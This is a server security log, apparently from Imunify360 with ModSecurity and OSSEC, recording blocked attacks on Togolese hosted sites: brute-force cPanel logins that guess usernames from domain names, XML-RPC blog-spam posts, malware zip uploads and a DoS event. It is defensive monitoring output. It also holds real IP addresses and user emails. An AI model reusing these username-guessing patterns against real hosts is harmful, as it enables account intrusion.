[2026-06-25 07:03:23 +0000] info [cpaneld] 179.7.16.9 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1b24facdf72c7593fac2c755eb83beef29a05477||Title:idkb9ipxu753774zd7||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.153.215.176
country_id: 146669
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/wp-content/uploads/2013/06/Senegal-Code-Camp-2013.jpg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.61.117.89
country_id: 1733045
description:
Jun 25 07:04:47 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.61.117.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:49a9f74d84860509ba68e15d1a192b186b5ad765||Title:trqg21vu55jjpo5||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.151.94
country_id: 2363686
description:
[2026-06-25 07:05:24 +0000] info [webmaild] 196.168.151.94 - ebataka@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 193.27.50.24
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 193.27.50.24: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2cc349f2ec11f09cea15108a6a39eacf4d23f03c||Title:yck7a5eeyse0sx0rk||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b3c2ada78efb773e9ddc95375607d4ef8054d827||Title:21vedxd1jzn71u80nr||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 25 07:07:22 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a345d302801792d95fb5bcf5d0eeb0e8b0c845de||Title:nk4cuzoo07p2l1coue||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 25 07:08:48 ns5 pure-ftpd[350592]: (?@47.84.199.24) [WARNING] Authentication failed for user [mail.dany2.mairie.tg]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-06-25 07:09:49 dovecot_login authenticator failed for H=(net-188-219-104-210.cust.vodafonedsl.it) [122.184.124.46]:39692: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.184.124.46
country_id: 1269750
description:
Jun 25 07:09:47 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.184.124.46 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c857fdc6865f3a30e91564806e6e105af2f460df||Title:949b6qpygjq17148r||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.251.4
country_id: 1733045
description:
180.75.251.4 - - [25/Jun/2026:07:11:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001301&pdata=https%253A%252F%252F24heureinfo.tg%252Fdeveloppement%252Fself-help-eric-stromayer-fait-le-suivi-des-projets-finances-au-togo%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782371473 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/developpement/self-help-eric-stromayer-fait-le-suivi-des-projets-finances-au-togo/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.251.4


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.94.212.213
country_id: 3625428
description:
[2026-06-25 07:11:57 +0000] info [cpaneld] 190.94.212.213 - lag "GET /login/?login_only=1&user=lag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lag (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.230.25
country_id: 3686110
description:
[2026-06-25 07:11:52 +0000] info [cpaneld] 38.156.230.25 - wellcit "GET /login/?login_only=1&user=wellcit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.155.135.43
country_id: 3469034
description:
[2026-06-25 07:11:25 +0000] info [cpaneld] 200.155.135.43 - lagorainfo "GET /login/?login_only=1&user=lagorainfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.77.138.194
country_id: 1168579
description:
[2026-06-25 07:12:08 +0000] info [cpaneld] 202.77.138.194 - well "GET /login/?login_only=1&user=well&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user well (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.250.175.184
country_id: 2017370
description:
[2026-06-25 07:11:49 +0000] info [cpaneld] 89.250.175.184 - wellcitytg "GET /login/?login_only=1&user=wellcitytg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcitytg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.90.45
country_id: 1512440
description:
[2026-06-25 07:12:01 +0000] info [cpaneld] 84.54.90.45 - la "GET /login/?login_only=1&user=la&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user la (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.112.135.39
country_id: 3469034
description:
[2026-06-25 07:12:03 +0000] info [cpaneld] 190.112.135.39 - wellc "GET /login/?login_only=1&user=wellc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.145.216.118
country_id: 1733045
description:
[2026-06-25 07:11:21 +0000] info [cpaneld] 175.145.216.118 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.214.151.73
country_id: 226074
description:
[2026-06-25 07:11:35 +0000] info [cpaneld] 102.214.151.73 - lagorain "GET /login/?login_only=1&user=lagorain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.195.13.123
country_id: 3625428
description:
[2026-06-25 07:11:40 +0000] info [cpaneld] 45.195.13.123 - lagorai "GET /login/?login_only=1&user=lagorai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.214.186.254
country_id: 2921044
description:
[2026-06-25 07:11:47 +0000] info [cpaneld] 79.214.186.254 - lagor "GET /login/?login_only=1&user=lagor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagor (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.183.250.220
country_id: 3469034
description:
[2026-06-25 07:11:32 +0000] info [cpaneld] 45.183.250.220 - lagorainfotg "GET /login/?login_only=1&user=lagorainfotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lagorainfotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.189.242.241
country_id: 3996063
description:
[2026-06-25 07:11:43 +0000] info [cpaneld] 187.189.242.241 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.134.149.83
country_id: 226074
description:
[2026-06-25 07:14:45 +0000] info [cpaneld] 102.134.149.83 - pnls "GET /cpsess6693434549/frontend/jupiter/filemanager/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [197.239.5.109] != Current IP Address [102.134.149.83]


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 109.248.142.157
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:07-16.109.248.142.157||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 84.21.190.140
country_id: 2635167
domain: besteva1.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:129533||Sizes:808||Combined size:808||User:himcuijv||WPU:||Filename:icoojkzwd.zip||Scanned:/tmp//20260625-071623-ajzVx1gp13fsd2VmCktGDgAAAB8-file-8Q8vw5||SC:/home/himcuijv/public_html/index.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.177.100
country_id: 3469034
description:
Jun 25 07:16:44 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.177.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 109.248.142.157
country_id: 2017370
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:8547136350472||Email:apritsqd@fringmail.com||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.248.12.249
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14738.togodailynews.tg||ServerName:togodailynews.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c070711c8b69c32c1f7f31c6c64738ab256c599d||Title:0x2e3cfe54||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.248.12.249
country_id: 1269750
domain: togointerim.net
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:96492.togointerim.net||ServerName:togointerim.net||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c4225127a631378783fc51e2678175914519a0d0||Title:0x47dedcf3||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.106.146.237
country_id: 1282988
description:
103.106.146.237 - - [25/Jun/2026:07:24:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9947503&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-291073retidm26der.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782372274 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-291073retidm26der.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.106.146.237


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.97.18.68
country_id: 3625428
description:
[2026-06-25 07:26:53 +0000] info [cpaneld] 191.97.18.68 - at "GET /login/?login_only=1&user=at&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user at (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.153.210.80
country_id: 1210997
description:
[2026-06-25 07:26:41 +0000] info [cpaneld] 103.153.210.80 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.143.75.246
country_id: 2635167
description:
[2026-06-25 07:26:51 +0000] info [cpaneld] 86.143.75.246 - atm "GET /login/?login_only=1&user=atm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user atm (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 25 07:27:11 ns5 pure-ftpd[358117]: (?@47.84.199.24) [WARNING] Authentication failed for user [a.mathey]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.135
country_id: 1880251
description:
47.128.121.135 - - [25/Jun/2026:07:28:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658656&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ffranco-togolais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782372529 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/franco-togolais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.135


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 07:29:33 +0000] info [cpaneld] 37.130.84.20 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 209.227.239.27
country_id: 3175395
description:
209.227.239.27 - - [25/Jun/2026:07:31:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012058&pdata=https%253A%252F%252Fucao-uut.tg%252Fcontact&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782372671 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/contact" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.55 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:209.227.239.27


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.195.97
country_id: 1880251
description:
43.172.195.97 - - [25/Jun/2026:07:33:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13067418&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fa-la-une%25252Fgendarmerie-une-soute-a-carburant-inauguree-a-la-nouvelle-direction%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782372799 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2F24heureinfo.tg%2Fa-la-une%2Fgendarmerie-une-soute-a-carburant-inauguree-a-la-nouvelle-direction%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.195.97


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.134.149.83
country_id: 226074
description:
[2026-06-25 07:36:12 +0000] info [cpaneld] 102.134.149.83 NEW pnls:tpQW7vV2eLejEoik address=102.134.149.83,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.243.104
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.245.243.104||TA:104.245.243.104||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 07:38:33 +0000] info [cpaneld] 37.130.84.20 - hini89 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hini89 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.0.212.232
country_id: 3508796
description:
[2026-06-25 07:40:52 +0000] info [cpaneld] 148.0.212.232 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.73.158
country_id: 3895114
description:
[2026-06-25 07:41:01 +0000] info [cpaneld] 179.60.73.158 - dero "GET /login/?login_only=1&user=dero&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dero (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.200.252.5
country_id: 290557
description:
[2026-06-25 07:40:55 +0000] info [cpaneld] 87.200.252.5 - davetechno "GET /login/?login_only=1&user=davetechno&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetechno (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.234.247.210
country_id: 3658394
description:
[2026-06-25 07:41:15 +0000] info [cpaneld] 177.234.247.210 - davet "GET /login/?login_only=1&user=davet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.49.202.54
country_id: 3508796
description:
[2026-06-25 07:41:04 +0000] info [cpaneld] 179.49.202.54 - der "GET /login/?login_only=1&user=der&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user der (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.117.73.163
country_id: 3865483
description:
[2026-06-25 07:41:20 +0000] info [cpaneld] 181.117.73.163 - dave "GET /login/?login_only=1&user=dave&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dave (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.172.68.250
country_id: 3469034
description:
[2026-06-25 07:41:25 +0000] info [cpaneld] 45.172.68.250 - dav "GET /login/?login_only=1&user=dav&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dav (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.153.93
country_id: 1733045
description:
161.142.153.93 - - [25/Jun/2026:07:43:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13027482&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogocom-et-le-fimo228-scellent-un-partenariat&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782373393 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/togocom-et-le-fimo228-scellent-un-partenariat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.153.93


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 84.21.190.140
country_id: 2635167
domain: togofeed.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:236219||Sizes:806||Combined size:806||User:qledpnjw||WPU:||Filename:icoknpoht.zip||Scanned:/tmp//20260625-074246-ajzb9pn7IcTfQxA1CYnQEAAAADo-file-CvEV55||SC:/home/qledpnjw/public_html/index.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.99.86.194
country_id: 290557
description:
[2026-06-25 07:43:40 +0000] info [cpaneld] 86.99.86.194 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.6.47.144
country_id: 3625428
description:
[2026-06-25 07:43:54 +0000] info [cpaneld] 190.6.47.144 - togofee "GET /login/?login_only=1&user=togofee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.225.200.10
country_id: 1562822
description:
[2026-06-25 07:44:01 +0000] info [cpaneld] 171.225.200.10 - togofe "GET /login/?login_only=1&user=togofe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.6.110.235
country_id: 3469034
description:
[2026-06-25 07:44:17 +0000] info [cpaneld] 45.6.110.235 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.15.129.129
country_id: 2017370
description:
[2026-06-25 07:43:46 +0000] info [cpaneld] 217.15.129.129 - togofeed "GET /login/?login_only=1&user=togofeed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofeed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.217.218.91
country_id: 3996063
description:
[2026-06-25 07:44:06 +0000] info [cpaneld] 189.217.218.91 - togof "GET /login/?login_only=1&user=togof&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togof (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.83.247.4
country_id: 3469034
description:
[2026-06-25 07:44:11 +0000] info [cpaneld] 170.83.247.4 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.66.128.58
country_id: 2017370
description:
[2026-06-25 07:44:21 +0000] info [cpaneld] 178.66.128.58 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.238.33.217
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/8a7d81 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 25 07:46:15 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-25 07:47:17 +0000] info [webmaild] 196.171.46.177 - matthieu.awide@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.124.55.157
country_id: 3017382
description:
Jun 25 07:48:03 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.124.55.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.202.171.234
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:07-49.198.202.171.234||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.81.227.92
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:07-49.23.81.227.92||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.120.223
country_id: 1880251
description:
47.128.120.223 - - [25/Jun/2026:07:53:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792664&pdata=https%253A%252F%252Fdagl.tg%252Fcommunes%252F13-commune-golfe-5&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782373981 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg/communes/13-commune-golfe-5" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.120.223


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.35.28.47
country_id: 3017382
description:
Jun 25 07:52:55 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.35.28.47 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.96.73.221
country_id: 290557
description:
[2026-06-25 07:53:48 +0000] info [cpaneld] 92.96.73.221 - lasnbtg "GET /login/?login_only=1&user=lasnbtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasnbtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.179.111.145
country_id: 3017382
description:
[2026-06-25 07:53:45 +0000] info [cpaneld] 88.179.111.145 - lasnb "GET /login/?login_only=1&user=lasnb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lasnb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.174.0.7
country_id: 1210997
description:
[2026-06-25 07:56:56 +0000] info [cpaneld] 103.174.0.7 - relanceinfotg "GET /login/?login_only=1&user=relanceinfotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinfotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.174.115.176
country_id: 2017370
description:
[2026-06-25 07:57:08 +0000] info [cpaneld] 95.174.115.176 - relanc "GET /login/?login_only=1&user=relanc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanc (has_cpuser_file failed)


